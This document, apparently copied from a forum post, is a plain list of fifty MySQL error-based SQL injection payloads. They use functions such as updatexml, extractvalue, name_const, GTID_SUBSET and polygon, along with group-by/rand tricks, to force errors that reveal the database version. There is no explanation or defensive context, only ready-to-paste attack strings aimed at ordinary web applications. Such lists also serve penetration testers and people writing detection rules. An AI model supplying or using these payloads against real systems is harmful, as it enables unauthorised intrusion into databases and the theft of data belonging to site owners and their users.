SQL error-based injection payloads

admin

1. '-(SELECT*FROM(SELECT name_const(version(),1),name_const(version(),1))a)#
   
2. '=0 group by elt(rand(),version())having sum(0)#
   
3. '-updatexml(0,repeat(version(),2),2)#
   
4. '|polygon((select*from(select name_const(version(),1))x))#
   
5. '--~(select*from(select@@version)f)#
   
6. '|GTID_SUBSET(@@version,0)#
   
7. '/(select*from(select+name_const(version(),1),name_const(version(),1))a)#
   
8. '=0 group by elt(rand(),version())having min(0)#
   
9. '/updatexml(0,repeat(version(),2),0)#
   
10. '-polygon((select*from(select name_const(version(),1))o))#
    
11. '/gtid_subset(@@version,0)#
    
12. '|(select*from(select name_const(version(),1),name_const(version(),1))a)#
    
13. '|updatexml(1,repeat(version(),2),1)#
    
14. '<1 group by elt(rand(),version())having min(0)#
    
15. '|polygon((select*from(select name_const(version(),1))p))#
    
16. '|!(select*from(select@@version)x)-~0#
    
17. 'or 1 group by concat(version(),floor(rand(0)*2)) having min(0)or''='
    
18. ' and extractvalue(rand(0),concat(0x0a,version()))or''='
    
19. '--~(select*from(select@@version)f)#
    
20. '|(select!x-~0.FROM(select+version()x)f)#
    
21. '|(select!x-~0.FROM(select@@version x)f)#
    
22. 'UnIoN SeLeCt CoUnT(`TeXt`) FrOm test.news WhErE 1=1 GrOuP By CoNcAt(VeRsIoN(),FlOoR(RaNd(1337)*2)),'
    
23. '-(select*from(select name_const(version(),1),name_const(version(),1))p)#
    
24. '/updatexml(0,concat(0xa,version()),0)#
    
25. '/updatexml(0,concat('$_',version()),0)#
    
26. '-updatexml(1,concat('a=.',version()),1)#
    
27. '-updatexml(1,LPAD(.1,999,hex(hex(version()))),1)#
    
28. '/polygon((select*from(select name_const(version(),1))o))#
    
29. '-~(select*from(select@@version)x)*2#
    
30. 1e308'*(select*from(select@@version)x)#
    
31. '-(select~b*a*a*a from(select~0/.1 a,version()b)x)#
    
32. '-GTID_SUBSET(@@version,0)#
    
33. '|updatexml(1,concat('a=.',version()),1)#
    
34. '|updatexml(0,concat('$_',version()),2)#
    
35. '-updatexml(0,concat(0x1,version()),2)#
    
36. '|updatexml(0,lpad(.1,350,hex(hex(version()))),1)#
    
37. '|(~(select*from(select@@version)f)*2)#
    
38. '|~(select*from(select@@version)x)*cast(1e99as decimal(65))#
    
39. '||1 group by mid(version(),rand())having min(1)#
    
40. '|UpdateXML(1,concat('/',version()),1)#
    
41. '|UpdateXML(1,concat('$_',version()),1)#
    
42. '|ExtractValue(1,concat('/a[x=y]',version()))#
    
43. '|Polygon((select*from(select name_const(version(),1))b))#
    
44. '|UpdateXML(0,CONCAT(hex(hex(version())),repeat(0,285),'.'),1)#
    
45. '|(select-9223372036854775808-(x||1)FROM(select+version()x)z)#
    
46. '|(select pow(2,~x)FROM(select+version()x)z)#
    
47. '|(select~0*cast(x as DECIMAL(1))*~0*~0*~0.FROM(select+version()x)z)#
    
48. '|GTID_SUBSET(version(),0)#
    
49. '||1 group by concat(left(version(),9),rand(0)|0) having max(0)#
    
50. '-updatexml(1,concat('.a=a',version()),1)#

复制代码